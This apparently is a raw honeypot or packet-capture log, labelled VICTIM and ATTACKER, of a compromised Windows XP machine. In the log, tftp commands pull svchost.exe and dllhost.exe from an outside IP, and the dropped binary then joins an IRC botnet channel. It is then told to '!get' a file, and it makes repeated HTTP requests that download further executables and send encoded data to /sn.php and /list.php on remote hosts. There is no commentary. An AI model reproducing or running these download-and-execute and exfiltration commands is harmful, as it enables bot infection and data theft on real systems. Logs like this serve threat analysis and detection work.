VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 175.116.179.189 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: Transfer successful: 25360 bytes in 23 seconds, 1102 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 175.116.179.189 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: Transfer successful: 15872 bytes in 15 seconds, 1058 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK miquhmizUSER e020501 . . :_ VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG miquhmiz :!get http:/newvodavoda.com/ml2.txt VICTIM: GET /ml2.txt HTTP/1.0User-Agent: DownloadHost: newvodavoda.comPragma: no-cache ATTACKER: GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B3A69C1DCEDCA8E5FE4F6CDDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5F44337&v=2&t=7.609195E-02 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /tm/cre.exe?t=0.3343927 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: newvodavoda.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=E0FE84601E8E2DFE1CF1ECC2D5AD8440E77A57336D3C6FA64D2CF3856FC424783875534434086B36E3DA117FF8E95E45915AB90530406D387E1DE2951D66A538165D9E36A27531AE655F156F53BD21FECF386C51CEB06A6C01A3EC814EB92EAB2777606D7D523E915FECBE398A8ADD476E990A257C3BC7E0B2EB7817C67072CC585DD1771B2D945CCFFB1744834AE567&t=0.2172052 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=9B8546A2E7770DDEAA47143AC3BBE22633AEA0C4ECBD3FF6D4B5DCAA1AB14E121954F7E0526E520F4C75DDB35A4B455E8F4401BD7000C09527445A2D3B401C811B50AB0302D5D748FEC408721CF239E609FE96ABA8D637316CCE92FF7D8A9712E6B69598644B55FA94271680857C46CE06F3306E2073FBC9988CA5D07EDCE812001024812615C5032311C7925395354E2DF7&t=0.7450373 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /tm/3387.exe?t=0.6262628 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: newvodavoda.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=0A14BD59F7673F9DB158ECB53C713789B4795E65ACFECD527B1EB0F605AF1C32C4BD73661C20F0AC3B0778E717052A3D4B854AF0DCB3674F3356FB87C9B6DCB15C162453A675841BEAD0275DD8367EA19166B78AD7A9B0B6AA089BF6E215B13486D6AEA3F1DEE64902B12BACEBEBEB715BAC2708195E3413441D5F30DA6CF44A3630349399A93DFE083AF4A7FD3969EB&t=0.6426966 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /sn.php?c=B7A98460EE7E2E8C28C1792079348F31418CBE853C6ED946E98C703667CDCBE5F881D5C0C2FE5E0291AD55CA9F8DEDFAB27CC77D0D6299B1096CEF934F30EC810A4044338D5EBC233E04F68CC826538CDE292F12136DCCCAA00299F401F6C045D181212C5A75238CA417FB6D12EB68E0CA3FE7B97B28ECDE4256B2C7B91B916B7363FF597646A968784E4710D81A1794BB67&t=0.907406 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: mewgost.comConnection: Keep-AlivePragma: no-cache ATTACKER: GET /p/eddc50.exe?t=0.2900965 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: newvodavoda.comConnection: Keep-AlivePragma: no-cache